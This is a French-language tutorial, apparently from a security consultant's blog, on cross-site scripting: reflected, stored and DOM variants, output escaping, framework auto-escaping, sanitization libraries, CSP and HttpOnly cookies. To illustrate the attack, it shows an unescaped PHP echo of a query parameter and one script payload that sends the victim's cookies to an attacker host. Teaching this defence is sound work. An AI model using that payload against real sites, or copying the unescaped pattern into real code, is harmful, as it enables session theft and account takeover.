Une attaque XSS (Cross-Site Scripting) survient lorsqu'un attaquant injecte du code JavaScript malveillant dans une page web à laquelle la victime fait confiance, afin que ce code s'exécute dans son navigateur. Comme la page est servie depuis votre domaine, ce code peut atteindre les cookies de session, le stockage local et tout ce que l'utilisateur connecté est autorisé à faire. Le XSS figure depuis des années dans la liste des vulnérabilités web critiques de l'OWASP, et pourtant il découle d'une seule erreur de base : intégrer des données fournies par l'utilisateur dans la sortie HTML sans les contrôler.
Comment fonctionne réellement une attaque XSS ?
Le problème commence lorsqu'une application web écrit l'entrée de l'utilisateur (un terme de recherche, un commentaire, un nom de profil) telle quelle dans le HTML. Le navigateur analyse tout ce qui arrive sur la page et interprète des balises comme <script> comme du code à exécuter. C'est exactement ce que vise l'attaquant : il place du code, et non du texte, dans un champ de données.
Supposons qu'une page de recherche affiche la requête directement à l'écran :
<p>Résultat : <?= $_GET['q'] ?></p>
Si l'attaquant fixe le paramètre q à :
<script>fetch('https://malveillant.site/c?'+document.cookie)</script>
le navigateur l'exécute comme un véritable script et envoie les cookies de l'utilisateur au serveur de l'attaquant. Le fond du problème : des données censées être affichées comme du texte sont interprétées comme du HTML.
La différence entre XSS reflété et stocké
Le XSS se décline en trois grandes catégories ; les deux que l'on rencontre le plus souvent sont le reflété et le stocké.
- XSS reflété : Le code malveillant arrive dans la requête (généralement dans un paramètre d'URL) et est immédiatement renvoyé dans la réponse du serveur. Il n'est pas persistant ; la victime doit cliquer sur un lien forgé. Les e-mails de phishing et les URL raccourcies en sont les principaux vecteurs.
- XSS stocké : Le code malveillant est enregistré en base de données (par exemple un commentaire ou un champ de profil) et servi à quiconque ouvre cette page. Une seule injection peut toucher des milliers d'utilisateurs, ce qui le rend plus dangereux que la variante reflétée.
- XSS basé sur le DOM : La faille se situe dans le JavaScript côté client et non sur le serveur ; elle se produit lorsque des données sont écrites sans précaution dans quelque chose comme
innerHTML.
Le socle de la défense : l'échappement en sortie
La défense la plus fiable contre le XSS consiste à échapper les données au moment de les afficher, selon leur contexte. Lors de l'écriture dans le corps HTML, les caractères critiques sont convertis en équivalents inoffensifs :
<→<>→>&→&"→"
Ainsi, <script> parvient au navigateur sous forme de texte brut à l'écran et non de code. En PHP pur, on fait cela avec htmlspecialchars :
<p>Résultat : <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>
L'essentiel est d'échapper dans le bon contexte. Les attributs HTML, les blocs JavaScript, les URL et le CSS exigent chacun des règles d'échappement différentes. Appliquez l'échappement selon la destination des données.
L'échappement automatique dans les frameworks modernes
Bonne nouvelle : la plupart des moteurs de templates modernes échappent la sortie par défaut. Dans le moteur Blade de Laravel, {{ $variable }} applique automatiquement htmlspecialchars ; pour afficher du HTML brut, vous devez délibérément écrire {!! $variable !!}. Dans React, les variables placées dans le JSX sont également échappées par défaut ; le danger ne commence qu'avec dangerouslySetInnerHTML.
La règle qui en découle est claire : n'utilisez les API qui affichent du HTML brut que lorsque c'est vraiment nécessaire et uniquement avec des données de confiance. Ne faites jamais passer du contenu utilisateur par ces chemins.
Quand vous avez besoin de HTML utilisateur : la sanitization
Parfois, vous devez autoriser l'utilisateur à saisir du contenu mis en forme (gras, liens, listes). L'échappement n'aide pas ici, car vous voulez que le HTML fonctionne. La solution est la sanitization : faire passer le contenu par une liste blanche de balises sûres et supprimer les parties dangereuses comme <script>, onerror et javascript:.
N'essayez pas d'écrire cela vous-même avec des regex ; cette approche est presque toujours contournable. Utilisez des bibliothèques éprouvées :
- DOMPurify côté client.
- HTML Purifier côté PHP.
Ces outils s'appuient sur des analyseurs affinés depuis des années et restent à jour face à toutes les techniques de contournement connues.
Couches de défense supplémentaires
L'échappement est la défense principale, mais pour une défense en profondeur vous pouvez ajouter des couches :
- Content Security Policy (CSP) : Avec l'en-tête
Content-Security-Policy, vous restreignez les sources depuis lesquelles les scripts peuvent être chargés. Une politique qui bloque les scripts en ligne limite les dégâts même si une injection passe. - Cookies HttpOnly : Marquer le cookie de session
HttpOnlyempêche JavaScript de le lire, rendant le vol de cookies bien plus difficile. - Validation des entrées : Valider le format attendu (e-mail, nombre, date) côté serveur réduit la surface d'attaque — mais ne remplace pas l'échappement.
Questions fréquentes
Si je nettoie l'entrée, dois-je quand même échapper en sortie ?
Oui. La validation des entrées est utile mais insuffisante à elle seule, car les mêmes données peuvent être affichées dans des contextes différents (HTML, attribut, JavaScript). La vraie sécurité vient de l'échappement des données selon le contexte, exactement au point d'affichage.
L'utilisation du HTTPS empêche-t-elle le XSS ?
Non. Le HTTPS chiffre les données en transit et empêche leur altération sur le réseau, mais le XSS est du code qui s'exécute à l'intérieur de la page elle-même. Une connexion chiffrée n'empêche pas un script malveillant de s'exécuter.
Je n'ai qu'un site statique — suis-je tout de même exposé ?
Si vous ne traitez jamais d'entrée utilisateur et ne l'affichez nulle part, le risque de XSS reflété/stocké est très faible. Mais dès que vous ajoutez des commentaires, une recherche ou un widget tiers, la surface d'attaque s'ouvre.
Vous voulez vous assurer que votre application résiste au XSS ? Pour une revue de sécurité, des échappements manquants et la configuration d'une CSP, contactez-moi.